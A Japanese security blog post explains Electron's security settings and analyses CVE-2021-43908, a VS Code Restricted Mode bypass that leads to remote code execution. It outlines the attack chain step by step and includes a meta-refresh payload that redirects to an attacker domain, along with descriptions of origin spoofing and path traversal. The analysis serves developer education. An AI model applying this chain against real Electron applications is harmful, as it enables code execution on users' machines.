Flatt Security Blog

株式会社Flatt Securityの公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

株式会社Flatt Securityの公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

VS Codeで任意コード実行が可能だった脆弱性から学ぶ、Electron開発の注意点(CVE-2021-43908)

初めに

こんにちは。株式会社Flatt Security セキュリティエンジニアの石川です。

近年、クロスプラットフォームなデスクトップアプリケーションを作成する上で、Electronを採用することが選択肢の1つになってきています。

Electronの開発では、ライブラリとしてのElectronの実装と、その上にユーザーが構築するデスクトップアプリケーションの2つのコードが存在します。デスクトップアプリケーションの実装においても、メインプロセスとレンダラープロセス、サブフレームなど、考慮すべき概念が多数存在します。 そこで本稿では、Electronのアーキテクチャを意識しながら、実際に発見された脆弱性の傾向について考察することで、 Electron開発者が開発時に気を付けるべき点とその緩和策について、セキュリティの観点から記述していきます。

その上で、一例として、2022年のBlack Hatで発表された「ElectroVolt: Pwning Popular Desktop Apps While Uncovering New Attack Surface on Electron | Black Hat USA 2022」のうち、Visual Studio Code(以下、VS Code)で発見されたCVE-2021-43908について解説します。

なお、弊社Flatt Securityでは昨日よりサマーインターンの募集を開始しました。 モダンな技術要素の脆弱性にも触れながら、Webアプリケーションのセキュリティ診断業務を体験できます。 ご興味のある学生の皆様は是非下記より詳細をご確認ください。

Electronとは

まずは、Electronについて馴染みがない開発者のために、Electronの概要を公式から引用します。

Electron は、JavaScript、HTML、CSS によるデスクトップアプリケーションを構築するフレームワークです。 Electron は Chromium と Node.js をバイナリに組み込むことで、単一の JavaScript コードベースを維持しつつ、ネイテイブ開発経験無しでも Windows、macOS、Linux で動作するクロスプラットフォームアプリを作成できます。

出典: はじめに | Electron

本稿においては、紹介する脆弱性を理解するため必要な前提知識や、その他、主要なセキュリティ的観点を除き、Electronに関する網羅的な解説は行いません。

Electronのセキュリティ機構

Electronにおけるセキュリティ観点は、主に以下の3つです。

  • Node Integration
  • Context Isolation
  • Sandbox

この3つの機構だけでなく、それらが動作するElectronのプロセスモデルや、周辺知識についても記述していきます。

Electronのプロセスモデル

Electronアプリケーションには、1個のメインプロセスと1個以上のレンダラープロセスが存在しています。

メインプロセスでは、起動や終了といった、アプリケーション全体の挙動を制御し、レンダラープロセスはウインドウごとに存在します。

レンダラープロセスは、一見ブラウザのタブのようなものですが、セキュリティの観点で考えると、ブラウザの上で動作するアプリケーション(Webアプリケーション)よりも大きなリスクが存在しています。 Webアプリケーションの動作環境であるブラウザでは、強力なセキュリティ対策が施されており、Web開発者や利用者は、(更新をしている限り)その恩恵を受けられます。 詳しくは、『Webブラウザセキュリティ ― Webアプリケーションの安全性を支える仕組みを整理する』等を参照してください。 WebアプリケーションでXSSが発生した際は、そのプロセスはブラウザによってSandbox化されているため、(ブラウザ自体の脆弱性を突かれた場合を除いて)その影響範囲は、同一オリジン内の情報に留まります。

一方で、Electronがブラウザと異なる点の一つとして、 設定値によるものの、レンダラープロセスからOSに直結する Node.js を使用できる(Node Integration)という点が挙げられます。 したがって、レンダラープロセスにおいてXSSが発生した際に、RCE(Remote Code Execution)に直結することを踏まえると、アーキテクチャの性質上、潜在的なリスクは通常のWebアプリケーションに比べて高いと言えます。

レンダラープロセスでは、Sandboxや、Node.jsの利用(後述する Node Integration)、コンテキストの分離等の設定が可能で、 それらの設定の有効/無効によって、考えられる攻撃のシナリオが異なります。

参考: プロセスモデル | Electron

Preloadスクリプト

Preloadスクリプトは、レンダラープロセスが開始する際に読み込まれるスクリプトで、メインプロセスがレンダラープロセスと共有するオブジェクトやAPIを記述します。 後述するContext Isolationが有効な場合には、レンダラープロセスに公開するNode.js APIを記述し、異なるコンテキスト間で、同期されたブリッジを作成することもできます。

Node Integration

Node Integrationとは、レンダラープロセスにおいて、Node.jsの実行を許可するかどうかの設定項目です。 Electron 5.0.0 以降のバージョンにおいては、デフォルトで無効になっています。 公式でも、セキュリティの観点から、この設定を無効にすることを推奨しています。

XSSはその性質上、攻撃者が自由にJavaScriptを実行可能になりますが、問題となるのは、この「攻撃者が実行可能な任意のスクリプトの影響範囲」です。

仮にこれがWebアプリケーションが動作するブラウザで発生したXSSであれば、ファイルシステムやシェルへのアクセスは、ブラウザにおけるセキュリティ機構によって阻まれるため、攻撃の影響範囲はある程度限定されます。ただし、ブラウザにおけるXSSが問題ないわけではありません。

また、ElectronアプリケーションであってもNode Integration が無効になっている場合は、実行するNode.jsがないため、XSSされただけでRCE等に直結することはありません。

しかし、Node Integrationが有効な場合は、OSに直結するNode.jsの実行が可能になるため、攻撃者がXSSを成立させた場合、RCEに直結します。 とはいえ、公式の推奨に反して、さまざまな事情でレンダラープロセスに対してNode.jsの実行権限を与えたい場合も存在します。 その場合は、信頼できるコンテンツのみを実行させるか、あるいは、(現実的には難しいですが)表示するいかなるコンテンツにおいても、XSSを発生させない実装にすることが求められます。

参考: セキュリティ | Electron #2-リモートコンテンツで-nodejs-integration-を有効にしない

Context Isolation

次に、Context Isolationについてです。 Context Isolationとは、Preloadスクリプト及びElectronの内部ロジックが、 webContentsのコンテキストとは別のコンテキストで実行されることを保証する機能です。

例えば、Context Isolationが有効な場合、Preloadスクリプトで window.hello = 'wave' のように宣言したとしても、webContents 上における window.hello の値は undefined になります。コンテキストが分離されていることで、後述するPrototype Pollution攻撃を防ぐことが可能になります。 その他の実際の動作例は、コンテキストの分離 | Electron #移行 に記述があるのでご覧ください。

Context Isolationを有効にした場合、レンダラープロセスからPreloadスクリプトにアクセスするためには、 グローバルなwindowオブジェクトを通したアクセスではなく、contextBridge と呼ばれるモジュールにAPIを登録し、contextBridge経由でアクセスする必要があります。 contextBridge を通すことで、公開されたAPIはレンダラープロセスのコンテキストにて実行されます。

contextBridgeを通して渡ってくる値は、不特定(悪意のあるユーザーを含む)のユーザーが発行する値である可能性があるため、contextBridge を通せば完全に安全かというと当然そんなことはありません。 ですが、XSSが起きた際に、攻撃者がアクセス可能なオブジェクトを限定できるため、攻撃者の選択肢を大きく減らすことが可能になります。

公式は、セキュリティ推奨事項として、この設定を有効にすることを推奨しています。 Electron 12.0.0 以降のバージョンにおいては、デフォルトでContext Isolationは有効になりました。

参考: コンテキストの分離 | Electron

プロセス間通信 / IPC

上述したように、Electronには、1個のメインプロセスと1個以上のレンダラープロセスが存在しています。 レンダラープロセスとメインプロセスは、IPC(Inter-Process Communication)を通して通信が可能です。 この際にメッセージは、開発者が定義したチャンネルを介して行われ、プロセス間通信を実現しています。

IPCは、メインプロセスとレンダラープロセスとの通信に使用され、レンダラープロセス同士で直接通信することはできません。

レンダラープロセス同士で通信するためには、

  • メインプロセスを経由する方法
  • 両方のレンダラープロセスに対して、MessagePortを渡すことで、通信チャンネルを確立する方法

があります。 MessagePortについては、本稿の脆弱性に登場しないため、詳細な説明は省きます。

参考: プロセス間通信 | Electron

Sandbox

Sandboxとは、プログラムを保護された領域で動作させることで、アプリケーションに与えられた権限を超えてプログラムが動作することを防ぐ仕組みです。 有名な実装として、Webブラウザが挙げられます。

Electronのレンダラープロセスは、イメージでいうならブラウザのタブのようなものですが、 設定によっては、XSSが発生した場合、通常のブラウザよりも甚大な被害をもたらす可能性が高いことをすでに書きました。 これは、通常のブラウザ(Chromium等)では、メインプロセス以外のほとんどのプロセス(レンダラープロセスを含む)においてSandbox機能が適用されるのに対して、 Electronでは、レンダラープロセスがデフォルトでSandbox化されていないプロセスであることによるものです。

Electronにも、Sandboxの機構が用意されており、これをレンダラープロセスにおいて有効にした場合、 特権的なタスクを実行するためには、IPCを介して、タスクをメインプロセスへ移譲しなければ動作しないように設定できます。

信頼できるソースのみを表示する場合はSandbox化は不要ですが、 ほとんどの場合、信頼できないソースを表示する必要があるため、Sandbox化を考慮する必要が出てきます。 一般的にElectronのレンダラープロセスをSandbox化すると、ほとんど Chromiumと同じように動作しますが、Node.jsとのインターフェースも兼ねているため、その他にも考慮すべき点が存在します。

Electron 20.0.0 以降のバージョンにおいては、条件付きではありますが、デフォルトでSandboxは有効になりました。(Stable Releases | Electron

参考: プロセスのサンドボックス化 | Electron

VS Code における、Restricted Modeをバイパスした RCE (CVE-2021-43908)

では、表題となっているCVE-2021-43908について、解説していきます。 CVE-2021-43908は、VS Codeにおいて、悪意のあるMarkdownファイルを、信頼しない状態、すなわちRestricted Modeで開いた場合でも、そのチェックを回避してRCEが機能する可能性がある脆弱性です。 Security Update Guide - Microsoft Security Response Center にてアナウンスがあるように、すでにこの脆弱性は修正済みです。

脆弱性発見当時のVS CodeにおけるElectronの設定値は以下のようになっていました。

Node Integration True
Context Isolation False
Sandbox False

この設定値では、レンダラープロセスでNode Integrationが有効になっているため、レンダラープロセスからNode APIを使用可能になっています。そのため、攻撃者はXSSを成立させるだけでRCEが可能になります。

さらに、Context IsolationSandboxが、リスクのある設定値になっていることを踏まえると、(歴史的経緯など、さまざまな事情により)Electronのセキュリティの観点で見ると非常に緩い設定値と言えます。

参考: Security Update Guide - Microsoft Security Response Center

VS Codeでは、信頼できないソースとユーザーが指定した場合、コードを実行する拡張機能を停止させる(Trusted workspace)などの制限をかけます。 そのため、悪意のあるコードの場合でも、ある程度安全に閲覧や編集ができるようになっています。 しかし、Restricted Modeにも関わらず、攻撃者の作成した悪意あるMarkdownファイルを開くことで、XSSが発生し、RCEされる、というのが本脆弱性になります。

詳細

本脆弱性は、上述したように、Restricted Modeでも動作するため、「悪意のあるMarkdownファイルを、被害者に開かせる」ことで攻撃者はRCEを達成可能です。この攻撃の流れについて、大まかなシナリオを示したのちに、各フェーズがどのように動作しているかを解説していきます。

これ以降、脆弱性の被害者を「ユーザー」、脆弱性の加害者を「攻撃者」と呼称します。 また、攻撃用のフォルダ(ユーザーがダウンロードし展開するフォルダ)は以下のような構造になっています。

  • PoCディレクトリ
    • pwn.md
    • test.html

大まかな攻撃の流れは以下です。

  1. 悪意のあるMarkdownファイルがユーザーのVS Code上で開かれる(pwn.md)
  2. プレビュー機能を開くと、vscode-webview://がサブフレームとして展開
    1. styleタグによるリクエストを攻撃者ドメインに送信し、vscode-webview://が保持するIDが攻撃者に漏洩
    2. metaタグによって、pwn.mdのプレビューレンダリングが、Originhttp://攻撃者ドメインにリダイレクト
  3. 手順2-2で生成されたサブフレームの中で、攻撃者が用意したサーバーにアクセス
  4. 攻撃者は、手順2-1で取得したvscode-webview://が保持するIDを用いて、手順2と同一のwebviewをiframeにて展開
  5. 攻撃者のOriginからvscode-webview://のiframeへpostMessageを実行
  6. vscode-webview://からvscode-file://へ、postMessage経由でchannel: do-reloadを送信
    1. 返り値として、vscode-file://のパスを攻撃者が取得
    2. 攻撃者が用意した、攻撃が書かれたファイル(test.html)への相対パスを生成
  7. vscode-webview://を手順6で生成したパスにリダイレクト
  8. test.html中のJavaScriptが発火してRCE

では、それぞれの手順について述べていきます。

手順1

ユーザーが、攻撃者が用意した「PoCディレクトリ」をなんらかの方法で入手し、その中のpwn.mdをプレビューすることで攻撃は開始します。この際に、信頼できない第三者が作成したファイルであることをユーザーが考慮して、Restricted Modeで開いていたとしても、攻撃は動作します。

手順2

プレビュー機能を開くことで、VS Codeでは、vscode-webview://が展開されます。 この手順を通して、vscode-webview://内にてXSSを達成することを目指しています。

そのために、pwn.mdでは、<style>タグのsrc属性を通して、vscode-webview://が保持するExtension IDを攻撃者に漏洩させると共に、<meta>タグのcontent属性を通して、CSPをバイパスします。 Extension IDとは、後述するvscode-webview://のiframeを展開するために必要な文字列です。

<style>タグのsrc属性として、攻撃者が保持するドメイン(http://攻撃者ドメイン)を指定することで、この攻撃者ドメインへのリクエストの際に、Extension IDを含んだOriginヘッダーが付随するため、攻撃者にExtension IDが漏洩します。

次に、CSPの回避についてです。<meta>タグとして、以下のように設定することで、http://攻撃者ドメインにリダイレクトされ、サブフレームが展開されます。

<meta http-equiv="refresh" content="3;url=https://攻撃者ドメイン/somefile.php" />

この結果、vscode-webview://内のサブフレームのOriginはhttp://攻撃者ドメインの状態で処理は進みます。

手順3,4

手順2のCSPバイパスの際に攻撃者のドメインにリダイレクトし、サブフレームにてアクセスすることで、漏洩させたExtension IDの値が埋め込まれたJavaScriptを含むHTMLが返却されます。 そのJavaScriptを含むHTMLが、ユーザーのVS Code上で解釈されます。

攻撃者サーバーから返却されたHTMLでは、iframeの中に、手順1と同一のvscode-webview://が展開しています。

手順5

ここまで来たら、攻撃者が用意した任意のJavaScriptを、postMessage経由でvscode-webview://内にて実行可能です。

postMessageハンドラでは、クエリパラメータparentOriginの値を確認することで、そのメッセージが有効なOriginからのスクリプトであるかどうかを確認しています。 しかし、このクエリパラメータの値は、送信元Originが自由に指定可能であるため、この検証はバイパスされます。

したがって、vscode-webview://に限った範囲でXSSが成立しています。

手順6,7

この手順では、vscode-webview://から、vscode-file://に対して制御を移し、RCEを達成することを目指します。

まずは、vscode-webview://からvscode-file://に対して、手順5と同様に、postMessageを実行します。vscode-file://vscode-webview://とは異なり、message経由で任意のJavaScriptをレンダリングする訳ではないため、ここでは、channel: do-reloadを送信します。このmessageの返り値は、pwn.mdの絶対パスです。

vscode-file://は、パスを指定してファイルをロードできますが、ここでのパスはVS Codeのインストールパス内のみに限られます。 インストールパスではないところに配置されている攻撃ファイル(test.html)を、vscode-file://にロードさせることはできません。 VS Codeでは、Node Integrationが有効に設定されているため、この制限をバイパスできた時に、RCEが実現します。

そして、このvscode-file://における、インストールパス内の制限は、たまたま存在したパストラーバサル脆弱性によりバイパス可能でした。

この手順の最初に述べたchannel: do-reloadの返り値として得られたパスに、このパストラバーサル脆弱性を用いて、インストールパスの相対パスとしてtest.htmlを指定します。

最後に、vscode-file://で、test.htmlを開くようにリダイレクトします。

手順8

前述したように、VS Codeでは、Electronの設定値としてNode Integrationが有効になっています。そのため、test.htmlに記載のあるJavaScriptは、Node APIを呼び出し可能です。以上でRCEが達成されます。

まとめ

本稿における結論として、Electron開発時に気をつけるべき事項についてまとめます。

まず、初めに述べたように、Electronにおいては、プロセスモデルがWebブラウザに似てはいるものの、メインプロセスの設計上、Webブラウザと同じような意識で開発を行うことは非常に危険であり、 Electronを使用するのであれば、Electronのアーキテクチャの特性をしっかり理解することが必要です。

WebブラウザでXSSを発生させた場合には、せいぜいSandbox化された環境の中で問題を発生させるに過ぎません。Sandboxの外に攻撃対象を広げるためには、また別のExploitを見つける必要があります。 しかし、Electronの場合は、レンダラープロセスにNode APIが公開(Node Integrationが有効)されていた場合、 OSに直結したNode.js APIを使用できるため、問題の範囲を限定することが非常に難しいです。 すなわち、レンダラープロセスに対して、Node Integrationが有効になっていると、XSSが発生した場合にRCEまで到達される可能性が非常に高くなります。

そのため、Node Integrationだけでなく、Context IsolationSandbox のようにさまざまな設定項目が用意されているため、可能な限りこれらを推奨値に設定することが重要です。

また、今回の場合は、Electronの上で実装されていたVS Code独自の検証機構が、偽装可能な値を信頼していたことや、パストラバーサルといった脆弱性があったことにより、RCEまで達してしまいました。Electronのセキュリティ機構を用いるのはもちろんのこと、こういった脆弱性を生まないよう、日々の開発で注意することも、同じように重要な事項であると言えます。

Flatt Securityではこれらの脆弱性の有無を専門のセキュリティエンジニアが検証するセキュリティ診断サービスを提供しています。 仕様・実装に不安のある方はぜひお気軽にお問い合わせください。

上記のデータが示すように、診断は幅広いご予算帯に応じて実施が可能です。ご興味のある方向けに下記バナーより料金に関する資料もダウンロード可能です。

また、Flatt Security はセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式 Twitter のフォローをぜひお願いします!

twitter.com

では、ここまでお読みいただきありがとうございました。

参考文献